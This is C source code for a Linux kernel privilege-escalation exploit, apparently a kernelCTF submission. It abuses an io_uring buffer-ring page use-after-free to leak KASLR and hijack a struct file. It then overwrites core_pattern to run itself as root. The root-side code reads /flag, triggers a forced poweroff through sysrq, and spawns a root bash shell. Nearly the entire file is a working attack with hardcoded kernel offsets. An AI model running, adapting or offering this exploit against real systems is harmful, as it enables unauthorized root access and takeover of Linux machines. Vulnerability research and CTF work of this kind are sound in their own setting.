#define _GNU_SOURCE
#include <assert.h>
#include <err.h>
#include <fcntl.h>
#include <linux/io_uring.h>
#include <pthread.h>
#include <sched.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/signalfd.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <syscall.h>
#include <unistd.h>

#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_DEFAULT "\033[0m"

#define logd(fmt, ...)                                                         \
  dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#define logi(fmt, ...)                                                         \
  dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__,        \
          __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...)                                                         \
  dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__,       \
          __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...)                                                         \
  dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__,          \
          __LINE__, ##__VA_ARGS__)
#define die(fmt, ...)                                                          \
  do {                                                                         \
    loge(fmt, ##__VA_ARGS__);                                                  \
    loge("Exit at line %d", __LINE__);                                         \
    exit(1);                                                                   \
  } while (0)

#define SYSCHK(x)                                                              \
  ({                                                                           \
    typeof(x) __res = (x);                                                     \
    if (__res == (typeof(x))-1)                                                \
      err(1, "SYSCHK(" #x ")");                                                \
    __res;                                                                     \
  })

#define SHMEM_FILE_OPERATIONS (0xffffffff82c44a40)
#define SIGNALFD_FOPS (0xffffffff82c4cc80)
#define CORE_PATTERN (0xffffffff83db3720)

#define SPRAY_PBUF_NUM (0x10)
#define SPRAY_FILE_NUM (0x200)
int spray_fds[SPRAY_FILE_NUM];
void *pbuf_mappings[SPRAY_PBUF_NUM];

#define PAGE_SZ (0x1000)

#define OFFSET_FILE_FPOS (64)
#define OFFSET_FILE_FOP (176)
#define OFFSET_FILE_PRIV_DATA (200)
#define ALIGNED_FILE_SZ (256)

// clang-format off
/*
struct file {
        union {
                struct llist_node  f_llist;                   0     8 
                struct callback_head f_rcuhead __attribute__((__aligned__(8)));      0    16 
                unsigned int       f_iocb_flags;              0     4 
        } __attribute__((__aligned__(8)));                    0    16 
        spinlock_t                 f_lock;                   16     4 
        fmode_t                    f_mode;                   20     4 
        atomic_long_t              f_count;                  24     8 
        struct mutex               f_pos_lock;               32    32 
         --- cacheline 1 boundary (64 bytes) --- 
        loff_t                     f_pos;                    64     8 
        unsigned int               f_flags;                  72     4 

         XXX 4 bytes hole, try to pack 

        struct fown_struct         f_owner;                  80    32 
        const struct cred  *       f_cred;                  112     8 
        struct file_ra_state       f_ra;                    120    32 
         --- cacheline 2 boundary (128 bytes) was 24 bytes ago --- 
        struct path                f_path;                  152    16 
        struct inode *             f_inode;                 168     8 
        const struct file_operations  * f_op;               176     8 
        u64                        f_version;               184     8 
         --- cacheline 3 boundary (192 bytes) --- 
        void *                     f_security;              192     8 
        void *                     private_data;            200     8 
        struct hlist_head *        f_ep;                    208     8 
        struct address_space *     f_mapping;               216     8 
        errseq_t                   f_wb_err;                224     4 
        errseq_t                   f_sb_err;                228     4 

         size: 232, cachelines: 4, members: 20 
         sum members: 228, holes: 1, sum holes: 4 
         forced alignments: 1 
         last cacheline: 40 bytes 
} __attribute__((__aligned__(8)));
*/
// clang-format on

static void pin_cpu(int cpu_n, pid_t pid) {
  cpu_set_t set;

  CPU_ZERO(&set);
  CPU_SET(cpu_n, &set);

  if (sched_setaffinity(pid, sizeof(set), &set) < 0) {
    die("sched_setaffinity: %m");
  }
}

// core_pattern exploit taken from
// https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-52447_cos/exploit/cos-105-17412.294.10/exploit.c#L444
int check_core() {
  // Check if /proc/sys/kernel/core_pattern has been overwritten
  char buf[0x100] = {};
  int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
  read(core, buf, sizeof(buf));
  close(core);
  return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd) {
  int memfd = memfd_create("", 0);
  SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
  dup2(memfd, 666);
  close(memfd);
  while (check_core() == 0)
    sleep(1);
  puts("Root shell !!");
  /* Trigger program crash and cause kernel to executes program from
   * core_pattern which is our "root" binary */
  *(size_t *)0 = 0;
}

int main(int argc, char **argv) {
  if (argc > 1) {
    // This section of code will be execute by root!
    int pid = strtoull(argv[1], 0, 10);
    int pfd = syscall(SYS_pidfd_open, pid, 0);
    int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
    int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
    int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
    dup2(stdinfd, 0);
    dup2(stdoutfd, 1);
    dup2(stderrfd, 2);
    /* Get flag and poweroff immediately to boost next round try in PR
     * verification workflow*/
    system("cat /flag;echo o>/proc/sysrq-trigger;");
    execlp("bash", "bash", NULL);
    exit(0);
  }
  setvbuf(stdout, 0, 2, 0);

  // pin cpu to a certain core to increase the exploit stability as later we
  // need to play with PCP list
  pin_cpu(0, getpid());

  // setup io_uring
  struct io_uring_params params = {.flags = IORING_SETUP_NO_SQARRAY};
  int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/40, &params));
  logi("uring_fd = %d", uring_fd);

  // spray pbuf and mmap buffer in order to create multiple single-page UAFs at
  // the same time to increase the exploit stability
  for (int i = 0; i < SPRAY_PBUF_NUM; i++) {
    struct io_uring_buf_reg reg = {
        .ring_entries = 1, .bgid = i, .flags = IOU_PBUF_RING_MMAP};
    SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING,
                   &reg, 1));

    pbuf_mappings[i] =
        SYSCHK(mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd,
                    IORING_OFF_PBUF_RING + (i << IORING_OFF_PBUF_SHIFT)));
    logi("[pbuf %d] mapped @ %p", i, pbuf_mappings[i]);
  }

  // trigger page UAF
  for (int i = 0; i < SPRAY_PBUF_NUM; i++) {
    struct io_uring_buf_reg unreg = {.bgid = i};
    SYSCHK(syscall(__NR_io_uring_register, uring_fd,
                   IORING_UNREGISTER_PBUF_RING, &unreg, 1));
  }

  // spray enough `struct file` to reuse the UAF page from PCP list
  char buf[1024] = {};
  for (int i = 0; i < SPRAY_FILE_NUM; i++) {
    spray_fds[i] = SYSCHK(open("/tmp/tmp_file", O_RDWR | O_CREAT, 0666));
    // later we can observe the write retval at victim_file->f_pos
    SYSCHK(write(spray_fds[i], buf, i));
  }

  // locate victim_file
  void *victim_file_addr = NULL;
  for (int i = 0; i < SPRAY_PBUF_NUM; i++) {
    if (victim_file_addr)
      break;
    for (int j = 0; j < PAGE_SZ; j += ALIGNED_FILE_SZ) {
      size_t shmem_file_operations =
          *(size_t *)(pbuf_mappings[i] + j + OFFSET_FILE_FOP);
      if ((shmem_file_operations & 0xfffff) ==
          (SHMEM_FILE_OPERATIONS & 0xfffff)) {
        victim_file_addr = pbuf_mappings[i] + j;
        logi("victim_file_addr %p", victim_file_addr);
        break;
      }
    }
  }

  // get victim_file index and leak kaslr
  size_t victim_file_idx = *(size_t *)(victim_file_addr + OFFSET_FILE_FPOS);
  size_t shmem_file_operations =
      *(size_t *)(victim_file_addr + OFFSET_FILE_FOP);
  size_t kaslr = shmem_file_operations - SHMEM_FILE_OPERATIONS;
  size_t signalfd_fops = SIGNALFD_FOPS + kaslr;
  size_t core_pattern = CORE_PATTERN + kaslr;
  size_t private_data_before =
      *(size_t *)(victim_file_addr + OFFSET_FILE_PRIV_DATA);
  logi("victim_file_idx @ 0x%lx", victim_file_idx);
  logi("shmem_file_operations @ 0x%lx", shmem_file_operations);
  logi("private_data_before @ 0x%lx", private_data_before);
  logi("kaslr @ 0x%lx", kaslr);

  // modify victim_file's fops to signalfd_fops
  *(size_t *)(victim_file_addr + OFFSET_FILE_FOP) = signalfd_fops;
  // fake victim_file's private_data to overwrite core_pattern
  char *fake = "|/proc/%P/fd/666 %P";
  for (int i = 0; i <= strlen(fake); i++) { // include the null byte
    *(size_t *)(victim_file_addr + OFFSET_FILE_PRIV_DATA) = (core_pattern + i);
    size_t mask = ~fake[i];
    SYSCHK(signalfd(spray_fds[victim_file_idx], (const sigset_t *)&mask, 0));
  }

  // fix victim_file
  *(size_t *)(victim_file_addr + OFFSET_FILE_FOP) = shmem_file_operations;
  *(size_t *)(victim_file_addr + OFFSET_FILE_PRIV_DATA) = private_data_before;

  // trigger core_pattern exploit
  if (fork() == 0)
    crash("");
  while (1)
    sleep(100);
}